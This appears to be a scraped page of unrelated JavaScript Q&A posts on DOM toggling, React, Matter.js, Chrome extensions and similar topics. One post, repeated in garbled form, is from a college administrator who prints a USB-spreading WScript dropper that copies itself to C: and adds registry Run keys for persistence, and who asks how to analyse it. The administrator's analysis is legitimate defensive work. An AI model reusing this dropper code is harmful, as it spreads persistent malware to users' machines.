How to toggle the textbox’s visibility when a certain checkbox is checked?

I have simple html javascript code. creating a dynamic call when entering a number to do Onchange event and creating a dynamic table using createElement. addEventListener is called when createElement’s checkbox is checked. Now what I need is I have a textbox column next to checkbox. This textbox should be visible when checkbox is checked. I would appreciate if anyone could be helpful! Thank you so much for reading.

function displayDate(val) {
  let thisrow = val.slice(-1)
  let date = "date" + thisrow;
  let thisDate = document.getElementById("date");
  document.getElementById('thisDate').style.display = "";
}

function showTable(val) {
  var tempNo = val;

  if (tempNo != 0 || tempNo != null) {
    var root = document.getElementById("thisDiv");
    var table = document.createElement('table');
    table.className = "toggleTable";
    var tblB = document.createElement('tbody');
    table.appendChild(tblB);
    var rowcnt = val;

    headerList = ["School", "Address", "Date"];

    var tr = document.createElement('tr');
    // Header row
    for (var j = 0; j < 3; j++) {
      var th = document.createElement('th'); //column
      var text = document.createTextNode(headerList[j]); //cell
      th.appendChild(text);
      tr.appendChild(th);
    }

    tblB.appendChild(tr);
    for (var i = 0; i < rowcnt; i++) {
      var tr = document.createElement('tr');
      tblB.appendChild(tr);
      var td = document.createElement('td');
      var school = "";
      var address = "";
      var date = "";

      var curcolumn = i + 1;

      school = curcolumn;

      for (var j = 0; j < 4; j++) {
        if (i >= 0 && j == 0) {
          var input = document.createElement("input");
          input.type = "text";
          input.name = "school" + curcolumn;
          input.value = school;
          input.id = "school" + curcolumn;
          const td = document.createElement('td');
          td.appendChild(input);
          tr.appendChild(td);
        } else if (i >= 0 && j == 1) {
          var input = document.createElement("input");
          input.type = "checkbox";
          input.name = "address" + curcolumn;
          input.value = address;
          input.id = "address" + curcolumn;
          input.class = "dynamic";
          input.addEventListener('click', function() {
            displayDate(this.name); // logs the className of my_element 
          }, false);
          const td = document.createElement('td');
          td.appendChild(input);
          tr.appendChild(td);
        } else if (i >= 0 && j == 3) {
          var input = document.createElement("input");
          input.type = "text";
          input.name = "date" + curcolumn;
          input.value = date;
          input.id = "date" + curcolumn;
          input.style = "display:none";
          const td = document.createElement('td');
          td.appendChild(input);
          tr.appendChild(td);
        }
      }
    }
    root.appendChild(table);
  }
}


function onSavePressed() {
  schoolCnt = document.getElementById('schoolCnt').value;
  myData = "";
  var schoolList = {};
  for (var i = 1; i <= schoolCnt; i++) {
    schoolList['school' + i] = document.getElementById('school' + i).value;
    schoolList['address' + i] = document.getElementById('address' + i).value;
    schoolList['date' + i] = document.getElementById('date' + i).value;
  }
  console.log(Object.values(schoolList));
  myData = Object.values(schoolList);
  var ext = ".txt";
  var curFile = "Allschool";
  var curFile = curFile.concat(ext);

  console.log(schoolList);
}
body {
  margin-left: 240px;
  margin-top: 50px;
}

table {
  border-collapse: collapse;
}

td,
th {
  border: 0px solid black;
  padding: 10px;
  height: 2px;
}

#label {
  font-size: 14px;
  text-align: right;
}

table.schoolTable {
  margin: 10px 30px;
  font-family: verdana, arial, sans-serif;
  font-size: 11px;
  width: 600px;
  border: 0px solid black;
}

.schoolTable input[type=text] {
  font-size: 12px;
  border: 1px solid #73AD21;
  cursor: pointer;
  font-family: verdana, arial, sans-serif;
  font-size: 18px;
  text-align: center;
  width: 210px;
  height: 30px;
}

.schoolTable input[type=checkbox] {
  font-size: 25px;
  border: 1px solid #73AD21;
  cursor: pointer;
  font-family: verdana, arial, sans-serif;
  text-align: left;
  height: 25px;
  width: 80px;
}

.toggleTable {
  width: 950px;
  border-width: 1px;
  padding: 1px;
  border-style: solid;
  border-color: #517994;
  background-color: lightblue;
  margin-left: 20px;
}


.toggleTable input[type=text] {
  cursor: pointer;
  font-family: verdana, arial, sans-serif;
  font-size: 14px;
  text-align: center;
  height: 25px;
  width: 100%;
}

.toggleTable input[type=checkbox] {
  cursor: pointer;
  font-family: verdana, arial, sans-serif;
  font-size: 14px;
  text-align: left;
  height: 25px;
  width: 80%;
}

.toggleTable td {
  font-size: 14px;
  border: 0px solid #73AD21;

}

.toggleTable th {
  width: 5%;
  font-size: 13px;

}

.hide {
  display: none;
}
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>

<form name="myform" id="my_form">

  <table class="schoolTable">
    <h1 style="font-weight:bold;color:blue;font-size:18px;text-align:left;"> School </h1>

    <tr>
      <th id="label">School Count :</th>
      <td><input type="text" id="schoolCnt" onChange = "showTable(this.value)" ></td>
    </tr>

  </table>
  <br>

  <div id="thisDiv" style="visibility:visible;"></div>

  <br> <br>
  <table style="margin-left:40px">
    <tr>
      <td>
        <input type="submit" value = "SaveToDB" onclick="onSavePressed()" style="font-weight:bold;color:green;font-size:18px";>
      </td>
    </tr>

    </td>
    </tr>
  </table>

</form>

call JavaScript’s addEventListener method to get row id from createElement table to show hide text box when checkbox is checcked

`

function displayDate(val){
    let thisrow = val.slice(-1) 
    let date="date"+ thisrow;
    let thisDate = document.getElementById("date");
    document.getElementById('thisDate').style.display="";
}

function showTable(val) {
    var tempNo = val;
        
    if (tempNo != 0 || tempNo != null) {
    var root = document.getElementById("thisDiv");
    var table = document.createElement('table');
    table.className = "toggleTable";
    var tblB = document.createElement('tbody');
    table.appendChild(tblB);
    var rowcnt = val;

    headerList = ["School", "Address", "Date"];

    var tr = document.createElement('tr');
  // Header row
    for (var j = 0; j < 3; j++) {
    var th = document.createElement('th'); //column
    var text = document.createTextNode(headerList[j]); //cell
    th.appendChild(text);
    tr.appendChild(th);
    }
        
    tblB.appendChild(tr);
    for (var i = 0; i < rowcnt; i++) {
    var tr = document.createElement('tr');
    tblB.appendChild(tr);
    var td = document.createElement('td');
    var school ="";
    var address = "";
    var date = "";
                    
    var curcolumn = i+1;

    school = curcolumn;
                
    for (var j = 0; j < 4; j++) {
    if (i >= 0 && j == 0) {
    var input = document.createElement("input");
    input.type = "text";    
    input.name = "school"+ curcolumn;
    input.value = school;
    input.id = "school"+ curcolumn;
    const td = document.createElement('td');
    td.appendChild(input);
    tr.appendChild(td);
    }
    else if (i >= 0 && j == 1) {
    var input = document.createElement("input");
    input.type = "checkbox";    
    input.name = "address"+ curcolumn;
    input.value = address;
    input.id = "address" + curcolumn;
    input.class = "dynamic";
    input.addEventListener('click', function() { displayDate(this.name); // logs the className of my_element    
                    }, false);
    const td = document.createElement('td');
                td.appendChild(input);
                tr.appendChild(td);
                }
    else if (i >= 0 && j == 3) {
    var input = document.createElement("input");
    input.type = "text";
    input.name = "date"+ curcolumn ;
    input.value = date;
    input.id = "date" + curcolumn;
    input.style = "display:none";
    const td = document.createElement('td');
    td.appendChild(input);
    tr.appendChild(td);
    }                        
    }
    }
      root.appendChild(table);      
    } 
    } 
 
 
function onSavePressed() {
    schoolCnt = document.getElementById('schoolCnt').value;
    myData = "";
    var schoolList = {};    
        for (var i=1; i <=schoolCnt; i++) {
            schoolList['school'+i]  = document.getElementById('school'+i).value;
            schoolList['address'+i]  = document.getElementById('address'+i).value;
            schoolList['date'+i]  = document.getElementById('date'+i).value;
            }
        console.log(Object.values(schoolList));
        myData = Object.values(schoolList);
        var ext = ".txt";
        var curFile = "Allschool";
        var curFile = curFile.concat(ext);
                    
    console.log(schoolList);
}
body {
      margin-left: 240px;
      margin-top: 50px; 
    }
    
table {
    border-collapse: collapse;
}

td,th {
    border: 0px solid black;
    padding: 10px;
    height:2px;
}

    #label {
      font-size:14px;
      text-align: right;
    }
    
table.schoolTable {
    margin:10px 30px;
    font-family: verdana, arial, sans-serif;
    font-size: 11px;
    width:600px;
    border:0px solid black;
}
    
.schoolTable input[type=text] {
    font-size:12px;
    border:1px solid #73AD21;
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 18px;
    text-align: center;
    width:210px;
    height:30px;
}

.schoolTable input[type=checkbox] {
    font-size:25px;
    border:1px solid #73AD21;
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    text-align: left;
    height:25px;
    width:80px;
}

.toggleTable {
        width:950px;
        border-width: 1px;
        padding: 1px;
        border-style: solid;
        border-color: #517994;
        background-color: lightblue;
        margin-left: 20px;
}


.toggleTable input[type=text] {
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 14px;
    text-align: center;
    height: 25px;
    width:100%;
}

.toggleTable input[type=checkbox] {
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 14px;
    text-align: left;
    height: 25px;
    width:80%;
}

.toggleTable td{
  font-size:14px;
  border:0px solid #73AD21;

}

.toggleTable th{
  width: 5%;
  font-size:13px;

}

.hide {
  display: none;
}
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>

<style type="text/css">

    body {
      margin-left: 240px;
      margin-top: 50px; 
    }
    
table {
    border-collapse: collapse;
}

td,th {
    border: 0px solid black;
    padding: 10px;
    height:2px;
}

    #label {
      font-size:14px;
      text-align: right;
    }
    
table.schoolTable {
    margin:10px 30px;
    font-family: verdana, arial, sans-serif;
    font-size: 11px;
    width:600px;
    border:0px solid black;
}
    
.schoolTable input[type=text] {
    font-size:12px;
    border:1px solid #73AD21;
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 18px;
    text-align: center;
    width:210px;
    height:30px;
}

.schoolTable input[type=checkbox] {
    font-size:25px;
    border:1px solid #73AD21;
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    text-align: left;
    height:25px;
    width:80px;
}

.toggleTable {
        width:950px;
        border-width: 1px;
        padding: 1px;
        border-style: solid;
        border-color: #517994;
        background-color: lightblue;
        margin-left: 20px;
}


.toggleTable input[type=text] {
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 14px;
    text-align: center;
    height: 25px;
    width:100%;
}

.toggleTable input[type=checkbox] {
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 14px;
    text-align: left;
    height: 25px;
    width:80%;
}

.toggleTable td{
  font-size:14px;
  border:0px solid #73AD21;

}

.toggleTable th{
  width: 5%;
  font-size:13px;

}

.hide {
  display: none;
}

</style>


<form name ="myform" id = "my_form" > 

<table class = "schoolTable">
<h1 style="font-weight:bold;color:blue;font-size:18px;text-align:left;"> School </h1>
    
        <tr>
          <th id="label">School Count :</th><td ><input type="text" id="schoolCnt" onChange = "showTable(this.value)" ></td>
        </tr>   
        
        </table>
        <br> 
        
        <div id="thisDiv" style="visibility:visible;" ></div>
        
        <br> <br> 
    <table style="margin-left:40px">
    <tr><td>
    <input type="submit" value = "SaveToDB" onclick="onSavePressed()" style="font-weight:bold;color:green;font-size:18px";> </td></tr>

 
    </td></tr></table>
      
 </form>
 

`I have simple html javascript code. creating a dynamic call when entering a number to do Onchange event and creating a dynamic table using createElement. addEventListener is called when createElement’s checkbox is checked. Now what I need is I have a textbox column next to checkbox. This textbox should be visible when checkbox is checked. I would appreciate if anyone could be helpful! Thank you so much for reading.

    <!doctype html>
    <html>
    <head>

    <title>School </title>

    <meta charset="utf-8"/>
    <script type="text/javascript" src="https:ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>


   <style type="text/css">

    body {
      margin-left: 240px;
      margin-top: 50px; 
    }
    
   table {
    border-collapse: collapse;
   }

   td,th {
    border: 0px solid black;
    padding: 10px;
    height:2px;
    }

    #label {
      font-size:14px;
      text-align: right;
    }
    
    table.schoolTable {
    margin:10px 30px;
    font-family: verdana, arial, sans-serif;
    font-size: 11px;
    width:600px;
    border:0px solid black;
   }
    
   .schoolTable input[type=text] {
    font-size:12px;
    border:1px solid #73AD21;
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 18px;
    text-align: center;
    width:210px;
    height:30px;
   }

   .schoolTable input[type=checkbox] {
    font-size:25px;
    border:1px solid #73AD21;
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    text-align: left;
    height:25px;
    width:80px;
   }

   .toggleTable {
        width:950px;
        border-width: 1px;
        padding: 1px;
        border-style: solid;
        border-color: #517994;
        background-color: lightblue;
        margin-left: 20px;
    }


    .toggleTable input[type=text] {
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 14px;
    text-align: center;
    height: 25px;
    width:100%;
    }

    .toggleTable input[type=checkbox] {
    cursor:pointer;
    font-family: verdana, arial, sans-serif;
    font-size: 14px;
    text-align: left;
    height: 25px;
    width:80%;
    }

     .toggleTable td{
     font-size:14px;
     border:0px solid #73AD21;
    }

    .toggleTable th{
    width: 5%;
    font-size:13px;
    }

    .hide {
    display: none;
    }

   </style>


    <form name ="myform" id = "my_form" > 

    <table class = "schoolTable">
    <h1 style="font-weight:bold;color:blue;font-size:18px;text-align:left;"> School </h1>
    
        <tr>
          <th id="label">School Count :</th><td ><input type="text" id="schoolCnt" onChange = "showTable(this.value)" ></td>
        </tr>   
        
        </table>
        <br> 
        
        <div id="thisDiv" style="visibility:visible;" ></div>
        
        <br> <br> 
    <table style="margin-left:40px">
    <tr><td>
    <input type="submit" value = "SaveToDB" onclick="onSavePressed()" style="font-weight:bold;color:green;font-size:18px";> </td></tr>

 
    </td></tr></table>
      
    </form>
 
    <script type="text/javascript">

    function displayDate(val){
    let thisrow = val.slice(-1) 
    let date="date"+ thisrow;
    let thisDate = document.getElementById("date");
    document.getElementById('thisDate').style.display=""; 
    }  

    function showTable(val) {
    var tempNo = val;
        
    if (tempNo != 0 || tempNo != null) {
    var root = document.getElementById("thisDiv");
    var table = document.createElement('table');
    table.className = "toggleTable";
    var tblB = document.createElement('tbody');
    table.appendChild(tblB);
    var rowcnt = val;

    headerList = ["School", "Address", "Date"];

    var tr = document.createElement('tr');
      // Header row
    for (var j = 0; j < 3; j++) {
    var th = document.createElement('th'); //column
    var text = document.createTextNode(headerList[j]); //cell
    th.appendChild(text);
    tr.appendChild(th);
    }
        
    tblB.appendChild(tr);
    for (var i = 0; i < rowcnt; i++) {
    var tr = document.createElement('tr');
    tblB.appendChild(tr);
    var td = document.createElement('td');
    var school ="";
    var address = "";
    var date = "";
                    
    var curcolumn = i+1;

    school = curcolumn;
                
    for (var j = 0; j < 4; j++) {
    if (i >= 0 && j == 0) {
    var input = document.createElement("input");
    input.type = "text";    
    input.name = "school"+ curcolumn;
    input.value = school;
    input.id = "school"+ curcolumn;
    const td = document.createElement('td');
    td.appendChild(input);
    tr.appendChild(td);
    }
    else if (i >= 0 && j == 1) {
    var input = document.createElement("input");
    input.type = "checkbox";    
    input.name = "address"+ curcolumn;
    input.value = address;
    input.id = "address" + curcolumn;
    input.class = "dynamic";
    input.addEventListener('click', function() { displayDate(this.name); // logs the className of my_element    
                    }, false);
    const td = document.createElement('td');
                td.appendChild(input);
                tr.appendChild(td);
                }
    else if (i >= 0 && j == 3) {
    var input = document.createElement("input");
    input.type = "text";
    input.name = "date"+ curcolumn ;
    input.value = date;
    input.id = "date" + curcolumn;
    input.style = "display:none";
    const td = document.createElement('td');
    td.appendChild(input);
    tr.appendChild(td);
    }                        
    }
    }
      root.appendChild(table);      
    } 
    } 
 
 
     function onSavePressed() {
    schoolCnt = document.getElementById('schoolCnt').value;
    myData = "";
    var schoolList = {};    
        for (var i=1; i <=schoolCnt; i++) {
            schoolList['school'+i]  = document.getElementById('school'+i).value;
            schoolList['address'+i]  = document.getElementById('address'+i).value;
            schoolList['date'+i]  = document.getElementById('date'+i).value;
            }
        console.log(Object.values(schoolList));
        myData = Object.values(schoolList);
        var ext = ".txt";
        var curFile = "Allschool";
        var curFile = curFile.concat(ext);
                    
    console.log(schoolList);
     }

     
     </script>
 
     </body>
     </html>

How can I create a custom plugin for a dropdown in Strapi v5 Admin Panel?

I want to implement the following functionality in the Strapi Admin Panel:

  1. The dropdown has 3 values, but by default, no value is selected, so
    no additional field will be shown – only the dropdown will be
    visible initially.

  2. List item Once the user selects a value from the dropdown, if the selected
    value is ‘media’ (for example), then:

    • The dropdown will show ‘Media’ as selected.

    • A media field will appear below the dropdown.

This should be implemented entirely within the Strapi Admin Panel.
So how can I do this?

And also I created custom plugin for that but it shows this,

enter image description here

I am getting [object, object] from a nested array from the Marvel API while using the map function

I am getting input which a superhero from marvels api and I can see the description name and id but when it comes to series comics and events which are collections i can not display them correctly.

I have tried using the map function. Everything works besides the nested array.

This is the output in the console log:

enter image description here.

document.querySelector("button").addEventListener("click", fetchGetSuper)

function fetchGetSuper() {
  const superChoice = document.querySelector("input").value
  const imageSize = "standard_fantastic"
  const items = [];
  fetch(`http://gateway.marvel.com/v1/public/characters?name=${superChoice}&ts=1&apikey=...&hash=fb9c86270d3aabd34201984d2f77cfe6`)
    .then(response => {
      if (!response.ok) {
        throw Error("ERROR");
      }
      return response.json();
    })
    .then(data => {
      console.log(data.data.results);
      var html = data.data.results.map(comic => {
          return `<div class="comics">
                    <p>Name: ${comic.name} </p>
                    <p>Description: ${comic.description} </p>
                    <img src = "${comic.thumbnail.path}/${imageSize}.${comic.thumbnail.extension}">
                    <ul>
                      <li><p>${comic.urls}<p></li>
                    </ul>
                 </div>`;
        })
        .join("")
      console.log(html);
      document.querySelector(`#cards`).insertAdjacentHTML("afterbegin", html);

    })
    .catch(error => {
      console.log(error);
    });
}
<input>
<button>Get a Marvel</button>
<div id="cards"></div>

Rotate object sprite with itself

I’m using Matter.js and I linked a sprite to my Object.

The problem is : When the object rotates, the sprite doesn’t change its orientation according to the object, the sprite keeps the same orientation ALL THE TIME.

Here how I create my object :

const core = Bodies.rectangle(x, y, width, height, {
            render: {
                fillStyle: "#B6423F", // real color of our robot
                sprite: {
                    texture: "../../img/aruco-marker-ID-457.svg",
                    xScale: 0.1,
                    yScale: 0.1,
                }
            },
            chamfer: {
                radius: [15, 15, 15, 15]
            },
            frictionAir: 1,
            restitution: 0.02 / simulatorSpeed
}); 

I precise that this Object is part of a multipart Object created like that :

    const body = Body.create({
        parts: [core, rightWheel, leftWheel],

        frictionAir: 1,
        restitution: 0.02
    })

I did try to change the sprite angle manually after each render, with an afterRender event but it doesn’t change anything graphically.

    Matter.Events.on(this.render, 'afterRender', () => {
            core.render.sprite.angle = core.angle;
        })
    });

Why there’s infinite loop in useEffect hook?

index.jsx

import React from "react";
import { startTransition, useEffect, useState } from "react";
import { createRoot } from "react-dom/client";

function App() {
  const [foo, setFoo] = useState([1]);
  const [bar, setBar] = useState("1");

  useEffect(() => {
    console.log("infinite loop")
    setBar(() => {
      console.log("bar");
      return "2";
    })
  }, [foo]);

  return (
    <>
      <button
        onClick={() => {
          startTransition(() => {
            setFoo((foo)=>{
              console.log("transition");
              return [];
            });
          });
          setFoo((foo) => { 
            console.log("foo");
            return [];
          });
        }}
      >
        example
      </button>
    </>
  );
}

createRoot(document.getElementById("container")).render(<App />);

react version: 18.0.0

codesandbox example

Click the example button and see errors from the console log

If you delete setBar at line 11, or delete startTransition at line 20, the problem would be solved.
And block in startTransition would not be executed because the loop never ends.

Issue with navigation always taking previous and current page as active

I have android mobile application created with sencha Ext JS framework, JavaScript and Cordova library. This app will only run in the PDA device(Point Mobile PM85) and PDA device have inbuild scanning button function to scan any barcode and return the value.

My issue is with continue scanning function in PDA device on long press inbuild scan button. If we do long press scan button it will scan the barcode and return the data.
The data will display in input field.
After long press scan button scan function works but it is calling the previous or any active page automatically without calling to the current page.

Scan function calling using the Cordova barcode scan plugin (Cordova-plugin-point-mobile).

I have tried to remove the last page after navigate to current page. But having the same issue. And we can’t use the destroy method to remove the last page because in some case we are using the data transfer one page to another page.

Below code are using to scan the barcode-

When page will enter scan function is active for scanning. After press the barcode scan button below code will execute and return the value.

Current page scan function.

function(){
const barcode = function (event) {
    if (event.keyCode == '0') { // scan function event code in PDA scan button after press the scan button
    const pointMobile = window.cordova.plugins.pointmobile;
    pointMobile.scan(
        data => {
            object = { barcode: data.barcode.trim() };
            searchfield.setValue(object.barcode);
            },
        error => {
            console.log('barcode scan error');
            },
            );
        }
    }
    
document.addEventListener("keydown", barcode, false); // Cordova call to scan event listener
}

Last page scan function.

This function auto call without invoking it.

function(){
const barcode = function (event) {
    if (event.keyCode == '0') { // scan function event code in PDA scan button after press the scan button
    const pointMobile = window.cordova.plugins.pointmobile;
    pointMobile.scan(
        data => {
            object = { barcode: data.barcode.trim() };
            searchfield.setValue(object.barcode);
            },
        error => {
            console.log('barcode scan error');
            },
            );
        }
    }
    
document.addEventListener("keydown", barcode, false); // cordova call to scan event listener
}

All the page have same code and same issue.

Kindly help and check why scan function calling to another function without invoking it.

Should I create a peer connection everytime or should I store the connection?

I am currently working on an app idea that involves using Peer JS. I have doubt in how to connect everytime to multiple peers to send messages to them. Currently how it is implemented is as follows

      var delay = 0;
      connectedPeers.forEach(pid => {
        var conn = peer.connect(pid);
        // const aud = new Audio("audio.mp3");
        conn.on('open', () => {
          conn.send({type : peerActionType.PLAY, data : delay});
          // aud.play()
        })
        delay += 5;
      })

As you can see, I have connectedPeers as an array of Peer IDs and then connect to them one by one everyitme. Seems redundant.

Everything is working fine but if theres a way to improve even the slightest delays since the applcation I am building requires that, I would appreciate it.

How to Decrypt an Encrypted JavaScript Virus File? [closed]

I discovered a virus on a college flash drive that creates a “Documents” shortcut. When opened, it launches a browser and executes the following script:

var FSO = WScript.CreateObject("Scripting.FIleSystemObject");  
var WshShell = WScript.CreateObject("Wscript.Shell");  
var pt1 = FSO.GetDriveName(WshShell.CurrentDirectory); // Flash drive name  
// Open Documents folder and copy the virus to C:  
WshShell.Run(pt1 + "\Document");  
FSO.CopyFolder(pt1 + "\Document\SystemPC", "C:\");  
// Write to registry for persistence  
WshShell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\prog", "C:\SystemPC\prog.js", "REG_SZ");  
WshShell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\onFlash", "C:\SystemPC\onFlash.js", "REG_SZ");  
// Execute the scripts  
WshShell.Run("C:\SystemPC\onFlash.js");  
WshShell.Run("C:\SystemPC\prog.js");  

Surprisingly, nothing happened to my PC. Running attrib -h -r -s /s /d G:* in CMD revealed the SystemPC folder, containing:

  • OnFlash.js
  • onPC.js
  • prog.js
  • unp40590149.tmp
  • virus.js (Binary, unreadable)

I need to analyze virus.js, but I cannot read it using Notepad++, different encodings, or HxD
Screenshot:

link

How can I decrypt or analyze this file? This virus is spreading in my college, and as the system administrator, I need to understand its behavior to protect the computers.

What I Tried:

  • Opened in Notepad++ (various encodings) → unreadable
  • Opened in HxD (hex editor) → binary format
  • Unable to extract using 7zip

Is there a way to decrypt or analyze this encrypted JavaScript file?

How to encrypt JavaScript virus file? (not zip)

How do I open the encrypted source code of a virus? I caught a virus in college. It created a “Documents” shortcut on a flash drive, and when I opened it, it opened a browser with the following text:
var FSO = WScript.CreateObject("Scripting.FIleSystemObject"); var WshShell = WScript.CreateObject("Wscript.Shell"); var pt1 = FSO.GetDriveName(WshShell.CurrentDirectory); //flash drive name //open the window with documents and copy the virus to c:. WshShell.Run(pt1+"Document"); FSO.CopyFolder(pt1+"DocumentSystemPC", "C:"); //write to the registry WshShell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoft\WindowsCurrentVersion\Runprog", "C:\SystemPCprog.js", "REG_SZ"); WshShell.RegWrite("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunonFlash", "C:SystemPConFlash.js", "REG_SZ"); //run programs WshShell.Run("C:C:\SystemPC\onFlash.js"); WshShell.Run("C:\SystemPCprog.js").

But nothing happened to the pc, lol. I just typed attrib -h -r -s /s /d G:* in cmd and the Documents folder appeared with my files and the SystemPC folder. In SystemPC there are virus files OnFlash.js, onPC.js, prog.js, unp40590149.tmp, virus.js. And it is the last file that is not readable. (it a binary)

Different encodings in notepad++ didn’t help. is what HxD shows on photo: (https://i.sstatic.net/kZprBeVb.jpg) I’m interested in seeing the source code because this virus is spreading through the college, and it’s important for me to understand what it does since I’m the system administrator there and responsible for the computers 🙁

I tried opening it with Notepad++ and different encodings in it; I opened it with HxD. You can’t open it with 7zip

Chrome extension local script violates CSP, manifest.json not recognizing “script-src-elem”

I’m trying to write a Chrome extension that uses the MathJax library. I’m using a local copy of the MathJax code in my extension, which I load as a content script in manifest.json:

{
  "name": "mathjax-example",
  "version": "1.0",
  "manifest_version": 3,
  "web_accessible_resources": [
    {
      "resources": ["mathjax/*", "mathjax-config.js"],
      "matches": [  "https://oeis.org/*" ]
    }
  ],
  "content_scripts": [
    {
      "js": ["content.js", "mathjax-config.js", "mathjax/es5/tex-mml-chtml.js"],
      "matches": [ "https://oeis.org/*" ]
    }
  ],
  "content_security_policy": {
    "extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; font-src 'self'; style-src 'self' 'unsafe-inline'; script-src-elem 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' https://oeis.org;"
  }
}

However, visiting the specified site gives me the following error in the console:

tex-mml-chtml.js:1 Refused to load the script 'https://../es5/input/asciimath.js' because it violates the following Content Security Policy directive:
"script-src 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' http://localhost:* http://127.0.0.1:* chrome-extension://d9272ae4-ea80-492e-a847-191300b9c6fa/". 
Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.

It looks like running tex-mml-chtml.js will add the following script element to the page, which then tries to run asciimath.js:

<script src="//../../es5/input/asciimath.js" charset="UTF-8"></script>

So either MathJax is written insecurely, or (more likely) I’ve configured something wrong. What I’m confused about is the error “'script-src-elem' was not explicitly set“, since I have specified script-src-elem in my content_security_policy of manifest.json.

To reproduce this error, you can load this repository as an “Unpacked extension” on Chrome (my Chrome version is v132.0.6834.160 on Windows 10), visit the specified site and view the browser console.

I am very new to javascript so any insights would be greatly appreciated!

Trying to set attributes to a button based on a radio selection but angular isn’t cooperating

I’m trying to get a button to click out to a different checkout flow based on a radio button selection, but angular keeps throwing a ton of [$interpolate:interr] errors when the button is clicked, and the proper checkout route isn’t populating. Brand new to angular so any insight would be greatly appreciated!

Button:

<button id="option_submit" class="btnCls" type="button" ng-click="startCheckout(terms[0].termId)" external-event="termSelected" external-event-term-id={{terms[1].termId}}>Click Option 1</button> 

Javascript (nb: I only have access to the html body)

<script>
  const radioButtons = document.querySelectorAll('input[name="r"]');
  const submitButton = document.getElementById('option_submit');
  radioButtons.forEach(radio => {
  radio.addEventListener('change', () => {
  if (document.querySelector('input[name="r"]:checked').value === 'option-a') {
  submitButton.textContent = "Click Option 1";
  submitButton.setAttribute("ng-click", "startCheckout(terms[0].termId)");  
  } else {
  submitButton.textContent = "Click Option 2";
  submitButton.setAttribute("ng-click", "startCheckout(terms[1].termId)"); 
  };
  });
  });
 </script> 

How to implement write once then read only object property in Javascript?

Here is my DataSink class where I will store some global data for my client side Javascript application. However, after calling the add function. The respective object key is still able to be overwritten later.

class DataSink {
    constructor() {
        this.items = {};
    }

    add(key, val, readOnly = false) {
        this.items[key] = val;

        if(readOnly) {
           Object.freeze(this.items[key]);
        }
    }
}

How can I implement something that allows me to write once to init the data and then have that respective key in the object not be writable again?

Thanks

Testimonial Carousel Function

I have a testimonial section on a website, which incorporates a sliding function to show the previous/next testimonial. Now, however, this function isn’t working properly. There should only be one testimonial in the center at all times, and on the first testimonial (out of total 3) the left button should be disabled, and on the last (3rd) testimonial, the right button should be disabled. Right now, it looks weird like this: Testimonials

There should be one testimonial at a time.

Here’s my code (HTML):

<!-- Testimonials -->

<div class="testimonials-container">
    <h2 class="testimonials-title">What Our Users Say</h2>
    <h1 class="testimonials-heading">Trusted by Users & Consultants</h1>

    <div class="testimonial-wrapper">
        <button class="testimonial-nav left-nav" onclick="prevTestimonial()">&#10094;</button>

        <div class="testimonial-slider" style="display: flex; width: 300%;">
            <div class="testimonial active">
                <div class="star-rating">★★★★★</div>
                <div class="testimonial-text">
                    "This consultation service made it easy to find the right expert. The process was seamless, and I got valuable insights!"
                </div>
                <div class="testimonial-author">James R.</div>
                <div class="testimonial-role">Consultation User</div>
            </div>

            <div class="testimonial">
                <div class="star-rating">★★★★★</div>
                <div class="testimonial-text">
                    "The platform is intuitive and efficient. I booked a consult within minutes and got exactly the advice I needed!"
                </div>
                <div class="testimonial-author">Samantha L.</div>
                <div class="testimonial-role">User - Business Strategy Consultation</div>
            </div>

            <div class="testimonial">
                <div class="star-rating">★★★★★</div>
                <div class="testimonial-text">
                    "As a consultant, I appreciate the seamless booking system. Clients can connect with me easily, and the interface is smooth!"
                </div>
                <div class="testimonial-author">Dr. Michael K.</div>
                <div class="testimonial-role">Registered Consultant</div>
            </div>
        </div>

        <button class="testimonial-nav right-nav" onclick="nextTestimonial()">&#10095;</button>
    </div>
</div>

CSS:

        /* Testimonials Section */
        .testimonials-container {
            background-color: #E7C79A; /* Soft beige background matching the website */
            padding: 60px 50px;
            text-align: center;
            border-radius: 15px;
            margin-top: 50px;
            max-width: 90%;
            margin-left: auto;
            margin-right: auto;
            position: relative;
            overflow: hidden;
        }

        /* Section Title */
        .testimonials-title {
            color: rgba(50, 40, 30, 0.8);
            letter-spacing: 1px;
            margin-bottom: 5px;
        }

        .testimonials-heading {
            font-weight: bold;
            color: #6D4C41; /* Brown color matching the website */
            margin-bottom: 30px; /* Moved testimonials 30px down */
        }

        /* Testimonials Wrapper */
        .testimonial-wrapper {
            display: flex;
            justify-content: center; /* Centers the testimonial */
            align-items: center;
            position: relative;
            overflow: hidden;
            width: 100%;
        }

        /* Hide testimonials except for the active one */
        .testimonial-slider {
            display: flex;
            transition: transform 0.5s ease-in-out; /* Smooth sliding effect */
            width: 210%; /* Ensures all testimonials are positioned in a row */
        }

        .testimonial {
            flex: 0 0 70%; /* Each testimonial takes full width */
            margin: 0 auto;
            background: white;
            padding: 30px;
            border-radius: 15px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            text-align: left;
        }

        /* Ensure only the active testimonial is shown */
        .testimonial.active {
            display: block;
        }

        /* Star Rating */
        .star-rating {
            color: #F4C150; /* Gold stars */
            font-size: 18px;
        }

